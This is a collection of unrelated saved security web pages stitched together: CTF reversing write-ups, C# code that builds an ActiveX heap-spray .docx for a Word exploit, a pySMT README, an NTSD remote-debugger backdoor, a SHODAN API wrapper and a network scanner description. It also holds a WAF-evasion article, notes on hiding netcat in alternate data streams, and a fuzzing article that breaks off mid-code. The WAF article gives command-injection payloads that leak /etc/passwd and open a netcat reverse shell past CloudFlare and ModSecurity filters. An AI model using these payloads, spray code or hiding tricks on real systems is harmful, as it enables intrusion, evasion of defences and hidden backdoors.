test = Appcall.proto\("func", " int \_\_fastcall func\(char \*, char \*, char
\*\);"\)  
bufin = Appcall.buffer\( "\x04\x08\x15\x16\x23\x42\x6C\x12"\)  
buffout1 = Appcall.buffer \( "\x00" \* 15 \)  
buffout2 = Appcall.buffer \( "\x00" \* 15 \)  
test\( bufin, buffout1, buffout2 \)  
print buffout1.value.encode\('hex'\)

  
Result: **69da2403d2416d3c8042625839d400**  
  
  

* * *
**Codegate 2011 Quals Issue 500**

* * *
  
Since I starting interesting boot code in Windows, I use bochs for any
researches. Support of bochs in IDA start from 5.4 version. IDA 5.5 can works
only with bochs 2.3.7, because can't get register information from new
versions. IDA 6.0 with IDA 5.5 plugins of bochs works fine with 2.4.5.  
  
I didn't make this task in CTF time, but I have a one interesting decision
method. You can read detailed write up on Leet More blog.  
  
First of all lets make bochsrc file for issue500.bin.  
A already has one. This example works fine in 2.4 and 2.3. For you purpose
only modify string as you need  
  

> ata0-master: type=disk, mode=flat, translation=auto,
> path="$CODEGATE\iss500\issue500.bin", cylinders=6500, heads=255, spt=63,
> biosdetect=auto, model="test"
  
Next step is starting IDA with bochs. Unfortunately I don't have full IDA
version upper then 5.5. And can't use Appcall. IDA 6.0 demo send me this
screen.  
  
  

<img src='img/Temp2_2144.jpg' width='320' height='111' />

  
So I will talk about IDA 5.5 in this section and if you have newer version
PLEASE check Appcall for 16bit code. I hope it will works fine.  
  

<img src='img/Temp2_2143.jpg' width='320' height='141' />

  
Starting IDA. Then i main menu choose Debugger->Run->Local Bochs Debugger.  
In next window choose full path to \*.bxrc file.  
Next step is "Debug options->Set speciefic options"  
  
  

<img src='img/Temp2_2140.jpg' width='320' height='148' />

Set full path to bochsdbg.exe, and choose Disk image.  
That's all preferences which we need. Start debugger and wait until IDA create
db. Then bochs told you about bad disk geometry - push continue. And then you
image will ask you a password. Look at the call stack and find "debug\#"
segment. Put bp after "int" and push enter.  
  
Now you are in input pass function and lower a pass checker function. At the
picture you can see this simple function, which called for each simbol. DX
started from 0 and after all symbols must be 0x2002.  
You can write algorithm on python or C, but it cool - use debugger for brute.  
  

<img src='img/Temp2_2146.jpg' />

Please check it in newer version of IDA and give me know.  
  
  

* * *
**RuCTF 2011 Quals Reverse 300**

* * *
  
Really crazy task with brute. I will show you script for my first idea about
this task. Shortly we have a binary, which want 10 symbols string which
satisfy claims of sub\_40181A\(brute\_f\). This function check input string
with table started from 0x403182. Indexing in dict and so on makes me crazy so
I make a script which reverse function execution. It means that we get a last
value - 0xD4, find it in dictionary, calculate offset and search it again.  

  

  

start = "D4"  
outstr = ""  
import string  
strOld = "23456789TJQKAhscd "  
start\_offset = LocByName\("dict"\)  
for i in xrange\(0xa\):  
offset = FindBinary\( LocByName\("dict"\),SEARCH\_DOWN, start\) \-
start\_offset  
print "VA %x RVA %x" % \(offset + start\_offset, offset\)  
for i in xrange\(0x13\):  
val = \(offset - \( i >> 1 \)\) / \( 2 \* 0x13 \)  
if \(val \* \( 0x13 \* 2\) \+ i \* 2\) == offset:  
print hex\(i\) \+ " '" \+ strOld\[i\] \+ "' " \+ hex\(ord\(strOld\[i\]\)\) \+
" \--> " \+ hex\( val \)  
start = "%x" % val  
outstr += strOld\[i\]  
break  
print outstr

  
I get a string like **h2 h2h2 h2**. reverse it to 2h 2h2h 2h and put in
program input - get a 50%.  
Then if you want to check possible variants you need a construction like this.
\(val\_4d = 0x40317E\)  

brute = Appcall.proto\("brute\_f", "int \_\_cdecl brute\_f\(\);"\)  
PutDataList\( LocByName\('string'\), b\)  
brute\(\)  
if \(Dword\(LocByName\("val\_4d"\)\)\) == 0xd4:  
print "OK"

  
Thank you for attention. Have a nice CTFs with IDApython.

# Making ActiveX Spray .docx in C\# - Exploit - BinVul - Binary Vulnerability
Research

**Created:**| _11/13/2013 9:24:23 AM_  
---|---  
**Updated:**| _11/13/2013 9:24:23 AM_  
**Author:**| __  
**Tags:**| _C\# spray active x_  
  

# **M** aking ActiveX Spray .docx in C**** \#

_本帖最后由 4B5F5F4B 于 2013-11-13 10:40 编辑_  
  
CVE-2013-3906的Exploit样本使用了ActiveX
Spray技术来在进程中内存中喷射攻击者可控数据，我对这一技术的实现感到非常好奇，于是就花时间研究实践了一下**。** 以下是我找到的一种办法**。**  
  
1、用VS创建Visual C\# Windows Forms Application  
2**、** 添加对Microsoft Word 12.0 Object Library和Microsoft Windows Common
Controls这两个COM对象的引用  
3**、** 在窗体上添加一个Button按钮，为单击事件编写以下代码

  1. object oMissing = System.Reflection.Missing.Value;
  2. object oEndOfDoc = "\\\endofdoc"; 
  3. //Start Word and create a new document**.**
  4. Word**.** \_Application oWord;
  5. Word.\_Document oDoc;
  6. oWord = new Word.Application\(\);
  7. oWord.Visible = true;
  8. oDoc = oWord.Documents.Add\(ref oMissing, ref oMissing,ref oMissing, ref oMissing\);
  9. //攻击者可控的喷射数据 ROP**、** Shellcode神马的
  10. string sprayData = "\u5f54\u545f";
  11. while \(sprayData.Length < 0x8000\)
  12. sprayData += "\u4b4b\u4b4b";
  13. //创建TabStrip控件数组
  14. Word.InlineShape\[\] ocxArray = new Word.InlineShape\[256\];
  15. //创建Tab数组，每个TabStrip插入20个Tab
  16. MSComctlLib.Tab\[\] tabArray = new MSComctlLib.Tab\[256 \* 20\];
  17. for \(int i = 0; i < 256; i++\)
  18. ocxArray\[i\] = oDoc.InlineShapes.AddOLEControl\("MSComctlLib.TabStrip**.** 2"\);
  19. for \(int j = 0; j < 20;j++ \)
  20. tabArray\[i\*20 + j\] = \(\(MSComctlLib.TabStrip2\)ocxArray\[i\].OLEFormat.Object\).Tabs.Add\(\);
  21. for \(int i = 0; i < tabArray.Length;i++ \)
  22. tabArray\[i\].ToolTipText = sprayData;
  23. //Close this form**.**
  24. this.Close\(\);

_复制代码_ 4**、** 将生成的DOCX文档保存即可  
  
效果见下图，  
  
  
0x08080808**、**
0x0c0c0c0c这样的地址已经喷射上可控的数据了，不过喷射地址看上去不是很整齐，还需要调整sprayData的大小，而且如果需要ROP的话，还应该考虑ROP在sprayData中的偏移**。**
当然，这些就靠你自己了<img src='img/Temp2_5073.gif' />  
---  
附件: _您需要登录 才可以下载或查看附件**。** 没有帐号？注册 _

****

# pysmt/pysmt

**Created:**| _3/21/2015 6:55:01 PM_  
---|---  
**Updated:**| _3/21/2015 6:55:01 PM_  
**Author:**| __  
**Tags:**| _SMT_  
  
  

# pySMT: A library for SMT formulae manipulation and solving

pySMT makes working with Satisfiability Modulo Theory simple.

Among others, you can:

  * Define formulae in a solver independent way in a simple and inutitive way,
  * Write ad-hoc simplifiers and operators,
  * Dump your problems in the SMT-Lib format,
  * Solve them using one of the native solvers, or by wrapping any SMT-Lib complaint solver.

<img
src='img/68747470733a2f2f6170692e736869707061626c652e636f6d2f70726f6a656374732f3534643465646261356162366363313335323862313937302f62616467653f6272616e63684e616d653d6d6173746572'
width='101' height='20' alt='Build Status' /> <img
src='img/68747470733a2f2f72656164746865646f63732e6f72672f70726f6a656374732f7079736d742f62616467652f3f76657273696f6e3d6c6174657374'
width='77' height='20' alt='Documentation Status' />

##  Getting Started

You can install the latest stable release of pySMT from PyPI:

> \# pip install pysmt
this will additionally install the _pysmt-install_ command, that can be used
to install the solvers: e.g.,

> \# pysmt-install --msat
this will download and install Mathsat 5. You will need to set your PYTHONPATH
as suggested by the installer to make the python bindings visible. To verify
that a solver has been installed run

> $ pysmt-install --check
_Note_ pysmt-install is provided to simplify the installation of solvers.
However, each solver has its own dependencies, license and restrictions on use
that you need to take into account.

##  Supported Theories and Solvers

pySMT provides methods to define a formula in Linear Real Arithmetic \(LRA\),
Real Difference Logic \(RDL\), their combination \(LIRA\) and Equalities and
Uninterpreted Functions \(EUF\). The following solvers are supported:

  * MathSAT \(http://mathsat.fbk.eu/\) >= 5
  * Z3 \(http://z3.codeplex.com/releases\) >= 4
  * CVC4 \(http://cvc4.cs.nyu.edu/web/\)
  * Yices 2 \(http://yices.csl.sri.com/\)
  * pyCUDD \(http://bears.ece.ucsb.edu/pycudd.html\)
  * PicoSAT \(http://fmv.jku.at/picosat/\)

The library assumes that the python binding for the SMT Solver are installed
and accessible from your PYTHONPATH. For Yices 2 we rely on pyices
\(https://github.com/cheshire/pyices\).

pySMT works on both Python 2 and Python 3. Some solvers support both versions
\(e.g., MathSAT\) but in general, many solvers still support only Python 2.

##  Usage

[code]

    from pysmt.shortcuts import Symbol, And, Not, is_sat
    
    varA = Symbol("A") # Default type is Boolean
    varB = Symbol("B")
    f = And([varA, Not(varB)])
    g = f.substitute({varB:varA})
    
    res = is_sat(f)
    assert res # SAT
    print("f := %s is SAT? %s" % (f, res))
    
    res = is_sat(g)
    print("g := %s is SAT? %s" % (g, res))
    assert not res # UNSAT
[/code]

A more complex example is the following:

Lets consider the letters composing the words _HELLO_ and _WORLD_ , with a
possible integer value between 1 and 10 to each of them. Is there a value for
each letter so that H+E+L+L+O = W+O+R+L+D = 25?

The following is the pySMT code for solving this problem:

[code]

    from pysmt.shortcuts import Symbol, And, GE, LT, Plus, Equals, Int, get_model
    from pysmt.typing import INT
    
    hello = [Symbol(s, INT) for s in "hello"]
    world = [Symbol(s, INT) for s in "world"]
    letters = set(hello+world)
    domains = And([And(GE(l, Int(1)),
                       LT(l, Int(10))) for l in letters])
    
    sum_hello = Plus(hello) # n-ary operators can take lists
    sum_world = Plus(world) # as arguments
    problem = And(Equals(sum_hello, sum_world),
                  Equals(sum_hello, Int(25)))
    formula = And(domains, problem)
    
    print("Serialization of the formula:")
    print(formula)
    
    model = get_model(formula)
    if model:
      print(model)
    else:
      print("No solution found")
[/code]

  

# NTSD Backdoor Security Aegis

**Created:**| _4/26/2011 8:51:58 PM_  
---|---  
**Updated:**| _4/26/2011 8:51:58 PM_  
**Author:**| __  
**Tags:**| _backdoor_  
  

# NTSD Backdoor

Here is a pretty neat trick I learned sometime ago using NTSD \(from my good
friend @\_MC\_\). NTSD \(Microsoft NT Symbolic Debugger\) is a debugger that
is packaged as part of Windows. You can find **ntsd.exe** in your _system32_
directory.

This little trick works by setting up the victim machine as a server using the
**-server** flag. This allows the debugging server to be accessed by other
debuggers:

<img src='img/Temp2_5564.png' width='793' height='631' />

It really doesn’t matter what port you use or what application you choose to
“debug.” Now on the remote machine connect to the server:

<img src='img/Temp2_5566.png' width='733' height='548' />

Now that we’re connected we can start issuing commands.

<img src='img/Temp2_5567.png' width='322' height='44' />

Of course, the obligatory **ipconfig**

<img src='img/Temp2_5563.png' width='582' height='186' />

How about adding a user?**  
**

**<img src='img/Temp2_5565.png' width='622' height='196' />**

April 26, 2011 James Fitts

# Surtri - Linux software, web services and more

**Created:**| _8/17/2010 7:37:05 AM_  
---|---  
**Updated:**| _8/17/2010 7:37:05 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

# Quick introduction to using the SHODAN API

I released a simple JSON-based API for SHODAN today and thought I’d give some
basic pointers on how to use it. For this tutorial I’ll be using Python,
because it rocks.  
  
The official API documentation page is rather sparse but contains all the info
we need for now.  
  
First, go and create an API key by visiting:    
http://www.shodanhq.com/api\_doc/activate

  

You’ll now see your personal API key just below the ‘Your Usage’ header. It’ll
be a variable-length string containing  
numbers and letters.  
  
Now there’s not much more left than writing up a wrapper to access the API
itself. Below is something basic I wrote in Python:

[code]

     1 from simplejson import dumps, loads
     2 from urllib2    import urlopen
     3 from urllib     import urlencode
     4 
     5 class ShodanAPI:
     6  """Wrapper around the SHODAN webservices API"""
     7  
     8  def __init__(self, key):
     9          """Initializes the API object.
    10 11                 Arguments:
    12                 key -- your API key
    13 14                 """
    15          self.api_key = key
    16          self.base_url = 'http://www.shodanhq.com/api/'
    17  
    18  def _request(self, function, params):
    19          """General-purpose function to create web requests to SHODAN.
    20 21                 Arguments:
    22                 function  -- name of the function you want to execute
    23                 params    -- dictionary of parameters for the function
    24 25                 Returns
    26                 A JSON string containing the function's results.
    27 28                 """
    29          # Add the API key parameter automatically
    30          params['key'] = self.api_key
    31          
    32          # Send the request
    33          data = urlopen(self.base_url + function + '?' + urlencode(params)).read()
    34          
    35          # Parse the text into JSON and return it
    36          return loads(data)
    37  
    38  def search(self, query):
    39          """Search the SHODAN database.
    40 41                 Arguments:
    42                 query   -- search query; identical syntax to the website
    43 44                 Returns:
    45                 A dictionary with 3 main items: matches, countries and total.
    46                 Visit the website for more detailed information.
    47 48                 """
    49          return self._request('search', {'q': query})
    
[/code]

  

  
There’s not much code to write, and I hope the comments make it easier to
understand. I wrap the search function around an internal \_request function
to make adding new functions easier later on.  
  
Using the Python wrapper is very straight-forward, just instantiate it with
your API key and then use the search function to start sending requests.

  

[code]

     1 """Simple test program that can be run from the command line."""
     2 import sys
     3 from shodan import ShodanAPI
     4  
     5 # The user must supply an API key
     6 if len(sys.argv) <= 2:
     7  print 'Usage: %s <API key> <query>' % sys.argv[0]
     8  sys.exit(1)
     9  
    10 # Create the API object
    11 api = ShodanAPI(sys.argv[1])
    12  
    13 # Merge all remaining arguments into one string
    14 query = ' '.join([arg for arg in sys.argv[2:]])
    15  
    16 # Search SHODAN
    17 result = api.search(query)
    18  
    19 # Print the results
    20 print 'Total hosts found: %s' % result['total']
    21 for host in result['matches']:
    22  print host['ip']
    
[/code]

The Python script above takes as first argument your API key, followed by the
search query arguments. After performing the search, it prints the total
number of hosts that matched and the IPs of the 50 first matches. The above
code assumes you saved the ShodanAPI class in a shodan.py file which is stored
in your PYTHONPATH or current directory.  
  
I wrapped all the code into one python file, which you can download here:    
shodan.py  
  
After downloading the file, you can use it to import the ShodanAPI or execute
it to search SHODAN from the command-line. A sample execution would be:

[code]

    python shodan.py YOUR_KEY cisco-ios -401
    
    
[/code]

  
If you have questions, found problems or would otherwise like to get in touch
you can either contact me via email at jmath at surtri dot com or via twitter
@achillean.

# www.nuand.com/bladerf.pdf

**Created:**| _1/31/2013 2:43:03 PM_  
---|---  
**Updated:**| _1/31/2013 2:43:03 PM_  
**Author:**| __  
**Tags:**| _Embedded hardware USB USRP wireless sdr_  
  
<img src='img/bladerf.pdf' />

# CHScanner : Multilayer, multiprotocol ARP, IPv4, IPv6, ICMP Network Scanning
Tool\! — PenTestIT

**Created:**| _3/14/2010 8:43:39 AM_  
---|---  
**Updated:**| _3/14/2010 8:44:02 AM_  
**Author:**| __  
**Tags:**| _security tools ipv6_  
  

# CHScanner: Multilayer, multiprotocol ARP, IPv4, IPv6, ICMP Network Scanning
Tool\!

by BLACK on MARCH 14, 2010 · 0 COMMENTS

in OPEN SOURCE, PENETRATION TESTING, SECURITY RECONNAISSANCE,SECURITY TOOLS

**CHScanner** is an ARP, IPv4 and IPv6 network scanner with 31 scan methods:
it scans for open ports, protocols, NetBIOS informations and Windows shares,
SNMP information, and WMI \(WBEM\) information. It also have the ability to
turn on \(using Wake-On-LAN\) and to shutdown or reboot a remote Windows host.
Features an automatic \(scriptable\) working mode, a hunt mode, a passive mode
and the normal scanning mode.

There are many functions what make CHScanner different. They are:  
\- CHScanner use an Operating System Mimic Technology;  
\- CHScanner has a lot more scanning methods compared with many other
scanners, starting from the Layer 2 of the OSI model. It does not only scans
IPv4 addresses, it also uses ARP, IGMP, IPv6 and some higher level protocols
like NetBIOS, SNMP and WMI;  
\- It is very flexible, scanning being done based on user defined
configuration files, and quite fast;  
\- Besides the skinnable graphical interface, CHScanner can be used from
command line to automate the scans.

Types of Scanning performed by CHScanner:  
\- IGMP  
\- ARP Ping  
\- ICMP Ping sweep  
\- DNS – Find DNS names \(for both IP and IPv6 addresses\)  
\- TCP Syn  
\- TCP Fin  
\- TCP Null  
\- TCP Xmas  
\- TCP Ack  
\- UDP Send  
\- IP Protocols – Find what IP protocols a host is running  
\- NetBIOS and Shares – Find NetBIOS information, public and hidden Windows
shares  
\- Wake On LAN  
\- SNMP – Get basic SNMP information  
\- Find DHCP Servers from your local network  
\- Find Promiscuous Nodes  
\- IPv4 “Ping Broadcast”  
\- Neighbor Discovery  
\- IPv6 “Ping Broadcast”  
\- IPv6 Multicast Listener Discovery  
\- IPv6 ICMP Ping Sweep  
\- IPv6 TCP SYN  
\- IPv6 TCP FIN  
\- IPv6 TCP NULL  
\- IPv6 TCP XMAS  
\- IPv6 TCP ACK  
\- IPv6 TCP UDP Send  
\- IPv6 Protocols – Find what IPv6 protocols a host is running  
\- Windows Management Instrumentation \(the Microsoft implementation of WBEM\)  
\- Shutdown or Restart for Windows hosts

Different types of scanning modes supported:  
- Normal mode: this is the common mode used by most of the scanners today;  
- Passive mode: in this mode NO packet is sent, CHScanner only listen to the network traffic and decodes the packets received, similar to a sniffer;  
- Hunt mode: introduced with version 0.9.7.2, in this mode CHScanner will scan any host that tries to communicate with the host machine. The scan is triggered by received one of the following packets destined to the local machine: ARP Request, ICMP ECHO Request, TCP SYN. 
Basic requirements:  
Winpcap 4.0.2 and above.

Operating systems supported:  
- Windows XP Professional SP2  
\- Windows 2003 Server  
\- Linux kernel 2.4 \(Adamantix based\)  
\- Linux kernel 2.6 \(Fedora Core based\)  
\- Solaris 8

Download CHScanner version 0.9.8.1 Here

  *[MARCH 14, 2010]: 2010-03-14

# Web Application Firewall \(WAF\) Evasion Techniques \#3

**Created:**| _9/23/2018 8:48:40 AM_  
---|---  
**Updated:**| _9/23/2018 8:48:40 AM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec_  
  

  

2 September 2018 / TECHNICAL

# Web Application Firewall \(WAF\) Evasion Techniques \#3

This article explores how to use an uninitialized Bash variable to bypass WAF
regular expression based filters and pattern matching. Let's see how it can be
done on CloudFlare WAF and ModSecurity OWASP CRS3.

## The Uninitialized Variable

In the last two articles of this series of "WAF evasion techniques", we have
looked at how to bypass a WAF rule set exploiting a Remote Command Execution
on a Linux system by abusing of the bash globbing process. In this episode, I
show you another technique that uses an **uninitialized bash variable in order
to elude regular expression based filters and pattern match**.

`echo "uninitialized_variable=$uninitialized_variable"`

Uninitialized variable has `null` value \(no value at all\).  
  
`uninitialized_variable=`

Declaring, but not initializing it, it's the same as setting it to a null
value, as above.

By default, Bash treats uninitialized variables like Perl does: they're blank
strings\! The problem is that is even possible to **execute commands
concatenated with uninitialized variables** and they can be used inside
arguments too. Let's start with an example.

<img src='img/Temp2_9396.png' width='867' height='354' />

the idea

Assuming that we want to execute the command `cat /etc/passwd`, we can use the
following syntax:

cat**$u** /etc**$u** /passwd**$u**

where **$u** doesn't exist and it's treated as a blank string by bash:

<img src='img/Temp2_9391.png' width='867' height='374' />

This could be used in order to bypass a WAF rule, let's do some tests with
CloudFlare WAF and with the ModSecurity OWASP Core Rule Set 3.1.

## CloudFlare WAF \(pro plan\)

As in the previous two articles, I'm going to test this bypass technique on a
**very simple PHP script** that is absolutely vulnerable and quite far from
reality \(I hope so\). It would be stupid to evaluate a beautiful service like
the one at CloudFlare by this test. This is just a way to explain better this
technique in a "real" scenario and this **doesn't mean** that CloudFlare WAF
is more or is less secure than others. It just shows you why you need to know
whether and how your code is vulnerable and what you can do in order to fix it
or develop a custom rule \(and also, in the previous posts, I used Sucuri for
this kind of tests... it's time to change target\!\).

What I've done is to enable all CloudFlare WAF rules and configure the
security level to High \(It seems that all is almost based on OWASP
CRS**2**...\).

**The Simple PHP Script:**

[code]

     
    1
[code]

    <?php
[/code]

2

[code]

            if(isset($_GET['host'])) {
[/code]

3

[code]

                    system('dig '.$_GET['host']);
[/code]

4

[code]

            }
[/code]

5

[code]

    ?>
[/code]

`

[/code]

This very simple PHP script uses `dig` in order to resolve a given hostname on
the `host` GET parameter, something like `/?host=www.google.com`.

The response is:

<img src='img/Temp2_9394.png' width='867' height='417' />

Obviously, it's vulnerable to RCE just by putting a semicolon after the
hostname and starting a new command, like:

`/?host=www.google.com;ls+/`

<img src='img/Temp2_9392.png' width='867' height='708' />

But what if I try to read the **/etc/passwd** file by executing **cat
/etc/passwd**? Let's try with:

`/?host=www.google.com;cat+/etc/passwd`

<img src='img/Temp2_9388.png' width='867' height='560' />

I've been blocked, and this is good! Ok, now I can try to bypass the whole
rule set in order to reach the **/etc/passwd** using an uninitialized variable
with something like:

`/?host=www.google.com;cat$u+/etc$u/passwd$u`, where **$u** will be my empty
string.

<img src='img/Temp2_9386.png' width='867' height='599' />

/etc/passwd leaked

As you can see in the screenshot above, my request passed and **the
/etc/passwd file is leaked**. Isn't it cool? ┌(◉ ͜ʖ◉)つ┣▇▇▇═──

I've seen that CloudFlare has some specific rules for preventing `netcat`
usage in order to get a reverse shell. So, I decided to try to get a reverse
shell bypassing the CloudFlare WAF rule set. This is the situation, **I've
just set all rules to "block" on CloudFlare Specials category**.

<img src='img/Temp2_9383.png' width='867' height='643' />

<img src='img/Temp2_9397.png' width='867' height='736' />

<img src='img/Temp2_9393.png' width='867' height='699' />

First try: executing **netcat** with the argument **-e /bin/bash** to my IP on
port **1337**.

<img src='img/Temp2_9389.png' width='867' height='306' />

CloudFlare WAF blocks nc reverse shell

Good news: CloudFlare blocked my request. Now I want to try to execute the
same command but adding some uninitialized bash variables after `nc` and
inside /bin/bash, something like:

`nc$u -e /bin$u/bash$u 1.2.3.4 1337`.

<img src='img/Temp2_9387.png' width='867' height='358' />

bypass CF WAF and get a reverse shell

Et voilà!

## ModSecurity OWASP CRS3.1

With the CRS3.1 all bypass techniques become harder, especially increasing the
Paranoia Level to 3 (there're 4 Paranoia Level on CRS3 but the fourth is quite
impossible to elude) and this is only one of the many reasons why I love CRS3
so much!

Let's say that, unlike what happened on CloudFlare, with CRS3.1 configured on
Paranoia Level 3, **my first test went blocked** by the rule **932100** "Unix
Command Injection":

<img src='img/Temp2_9384.png' width='867' height='505' />

RCE blocked by rule 932100

What can I do to bypass this rule? I know that `;<command>` is blocked but
maybe the payload `;<space><uninitialized var><command>` could pass... I mean
something like:

`?host=www.google.it;+$u+cat+/etc/passwd`.

<img src='img/Temp2_9390.png' width='867' height='500' />

932100 bypassed!

Nice! I've **bypassed the rule 932100** but now my request went blocked
because of the etc/passwd string inside the parameter host. What I can do is
to add more uninitialized vars inside the etc/passwd path like:

`?host=www.google.it;+$u+cat+/etc$u/passwd$u`

<img src='img/waf3.gif' width='867' height='542' />

it works! /etc/passwd leaked

Unlike my tests on CloudFlare WAF, using the CRS3.1 with a Paranoia Level 3
the bypass it's harder and it becomes quite impossible just by including
`$\_GET\['host'\]` in double quotes inside the PHP script. Let's give it a
try:

[code]

    5
     
    1
[code]

    <?php
[/code]

2

[code]

            if(isset($_GET['host'])) {
[/code]

3

[code]

                    system('dig "'.$_GET['host'].'"');
[/code]

4

[code]

            }
[/code]

5

[code]

    ?>
[/code]

`

[/code]

Now, in order to inject a command, it's not enough the semicolon... I need
double quotes and handle or comment out the last double quotes. For example:

`/?host=www.google.it";cat+/etc/passwd+#`

I know what you're thinking: "Now with double quotes, semicolon, an RCE
payload that includes variables, and a comment character, CloudFlare will
block it"... hmm no.

<img src='img/Temp2_9395.png' width='867' height='490' />

CloudFlare WAF bypass

Unlike CloudFlare, on OWASP CRS3 I can't bypass the rule set with a Paranoia
Level = 3, because of two rules:

  * _942460_ **Meta-Character Anomaly Detection Alert - Repetitive Non-Word Characters:** it blocks my request because of **"** , **;** , **/** , and **$** characters.
  * _942260_ **Detects basic SQL authentication bypass attempts 2/3:** trying to use less special characters I went blocked by this rule.

Lowering the Paranoia Level to 2, this works fine:

`/?host=www.google.it";+$u+cat+/etc$u/passwd+\#`

## Conclusion

Why it's so hard to block this kind of request? and why WAF usually doesn't
block the dollar character inside an argument value? Because it would be prone
to many false positives. **IMHO, the best approach is the one used by CRS3**
that blocks only if 4 or more repetitive non-word characters are found in a
single value. This is more clever than blocking specific characters, having
less false positives.

## Previous Episodes

Web Application Firewall Evasion Techniques \#1  
https://medium.com/secjuice/waf-evasion-techniques-718026d693d8

Web Application Firewall Evasion Techniques \#2  
https://medium.com/secjuice/web-application-firewall-waf-evasion-
techniques-2-125995f3e7b0

## **If you liked this post...**

Twitter: @Menin\_TheMiddle  
GitHub: theMiddleBlue  
LinkedIn: Andrea Menin

### Subscribe to Secjuice.com

Get the latest posts delivered right to your inbox

<img src='img/Temp2_9385.png' width='60' height='60' alt='theMiddle' />

#### theMiddle

ICT Security Specialist, Security Researcher, and Web Application Firewall
developer.

More articles by theMiddle

  

# PaulDotCom: Archives

**Created:**| _12/8/2010 7:50:06 PM_  
---|---  
**Updated:**| _12/8/2010 7:50:29 PM_  
**Author:**| __  
**Tags:**| _windows security Malware-analysis windows environment_  
  

# Windows 7 symbolic links and hidden files

By Mark Baggett on October 12, 2010 9:40 PM | Permalink
Window 7 Symbolic file and directory links are pretty cool. Although the most
common use of symbolic links is to make a folder or directory appear to exist
someplace it does not, symbolic links can be used to take complex paths and
filenames and make them simpler to understand. That's good because some of our
applications aren't smart enough to understand complex paths. For example,
lots of applications do not understand Alternate Data Streams. If you are not
familiar with ADS then check out this article by Brian Wilson.
http://www.ethicalhacker.net/content/view/115/24/

Try this experiment: Create an Alternate Data Stream and attempt to open it
with Microsoft Word.

> C:\temp>echo tst > mainfile.txt
> C:\temp>echo ads > mainfile.txt:ads.txt
Now try to open c:\temp\mainfile.txt:ads.txt with Word. It doesn't work. Word
doesn't recognize the alternate data stream. Now create a symbolic link to the
ads.txt alternate data stream like this:

> C:\temp>mklink txtfile c:\temp\mainfile.txt:ads.txt  
>  symbolic link created for txtfile <<===>> c:\temp\mainfile.txt:ads.txt
  
Open c:\temp\txtfile with Word. No problem. It works great. Symbolic links
make Alternate Data Streams accessible to applications that don't support
streams.

Try putting a copy of Netcat in an alternate datastream and running it. You
can run executables from alternate data stream using "start" or "wmic processs
call create" but symbolic links can make it really simple. By using symbolic
links to access alternate data streams you no longer have to jump through
hoops to create and run backdoors in your alternate datastreams. Putting
netcat into an ADS and executing it as simple as this:

> C:\temp>mklink backdoor.exe c:\temp\mainfile.txt:nc.exe
> symbolic link created for backdoor.exe <<===>> c:\temp\mainfile.txt:nc.exe
> C:\temp>copy z:nc.exe backdoor.exe  
>  1 file\(s\) copied.
> C:\temp>backdoor.exe -h  
>  \[v1.11 NT www.vulnwatch.org/netcat/\]  
>  connect to somewhere: nc \[-options\] hostname port\[s\] \[ports\] ...  
>  listen for inbound: nc -l -p port \[options\] \[hostname\] \[port\]  
>  options:  
>  -d detach from console, background mode
> -e prog inbound program to exec \[dangerous\!\!\]  
>  -g gateway source-routing hop point\[s\], up to 8  
>  -G num source-routing pointer: 4, 8, 12, ...  
>  -h this cruft  
>  -i secs delay interval for lines sent, ports scanned  
>  -l listen mode, for inbound connects  
>  -L listen harder, re-listen on socket close  
>  -n numeric-only IP addresses, no DNS  
>  -o file hex dump of traffic  
>  -p port local port number  
>  -r randomize local and remote ports  
>  -s addr local source address  
>  -t answer TELNET negotiation  
>  -u UDP mode  
>  -v verbose \[use twice to be more verbose\]  
>  -w secs timeout for connects and final net reads  
>  -z zero-I/O mode \[used for scanning\]  
>  port numbers can be individual or ranges: m-n \[inclusive\]
> C:\temp>  
>
You can remove file based symbolic links with "del" and directory based
symbolic links with "rmdir". When you're done with the netcat backdoor you
"del backdoor.exe". That will remove the symbolic links, but the alternate
data stream will remain.

You can also create symbolic links to windows device objects and System
Volumes. Have you ever seen your systems boot partition? You can make copies
of it or edit it with BCDEDIT.EXE, but what is really in there? You want to
see it? Try this.

WARNING: If you mess up your boot partition it is going to be a long day.
Proceed with caution.

> C:\temp\>mklink /D root \\\?\GLOBALROOT\Device\HarddiskVolume1\
> C:\temp\>cd root  
>  C:\temp\>dir /a
Here is what it looks like.

<img src='img/Temp2_6168.jpg' />

Note the "/D" to create a link to a directory rather than a file. Your boot
volume is now accessible through the "root" directory. All the files on the
partition have the HIDDEN, SYSTEM and READ ONLY attributes set so you'll need
to tell explorer.exe to show hidden files and system files. Now you can use
normal file utilities to manipulate the boot partition. You can also hide
files in your boot partition by simply copying them to the directory. After
removing the symbolic link explorer.exe will not find those files when you
search for them. In my limited testing files seem to be completely invisible
to the OS and the antivirus software until you recreate the symbolic link. You
can also create data streams and symbolic links in the boot partition. In
short, there are a variety of ways for attackers to use the boot partition to
hide information. If an attacker is putting malware in there will you
recognize it? Check out your boot partition. Know thy system.

  *[October 12, 2010 9:40 PM]: 2010-10-12T21:40:00-05:00

# Fuzzing TCP servers

**Created:**| _3/7/2018 8:43:28 AM_  
---|---  
**Updated:**| _3/7/2018 8:43:28 AM_  
**Author:**| _wishi_  
**Tags:**| _tcp fuzzing_  
  

  

January 19, 2018

###  Fuzzing TCP servers

—

##  Intro

The architectures of software fuzzing setups that authors of security fuzzing
tools had originally implemented were fairly simple. In early days of security
fuzzing \(before 2010\) the vast majority of fuzzing engines were writing
mangled content to disk files, and then instructed fuzzed binaries where to
find them:  
  
$ honggfuzz -f INPUT\_DIRECTORY -- /usr/bin/djpeg **\_\_\_FILE\_\_\_**  
**  
**Here, the placeholder \(\_\_\_FILE\_\_\_ for honggfuzz, @@ for AFL\) was
supposed to be replaced by a name of a file holding the actual fuzzing
content, and a fuzzed binary was re-executed continuously over supplied set of
input files. When such fuzzed binary \(djpeg here\) crashed, the input file
that was believed to have caused this crash was copied into a _crashdir_
directory under some new and fancy name, e.g.:  
  

[code]

    SIGSEGV.PC.af0ef0.STACK.c7dc5c2c7.CODE.1.ADDR.0x8.INSTR.mov____0x8(%rcx),%rdi.fuzz
[/code]

  
or  
  

[code]

    crash-50b12d37d6968a2cd9eb3665d158d9a2fb1f6e28
[/code]

  
With continuous advancement of fuzzing techniques, even more sophisticated
ways of exposing code-blocks - approximating roughly the software attack
surface - to _fuzzy_ data were developed. Inputs, which were supposed to be
parsed by a given set of APIs, were now sent to the fuzz-tested process, and
from there those tested APIs were invoked in an endless loop.  
  

[code]

    for (;;) {
      const uint8_t* **buf** ;
      size_t **len** ;
    
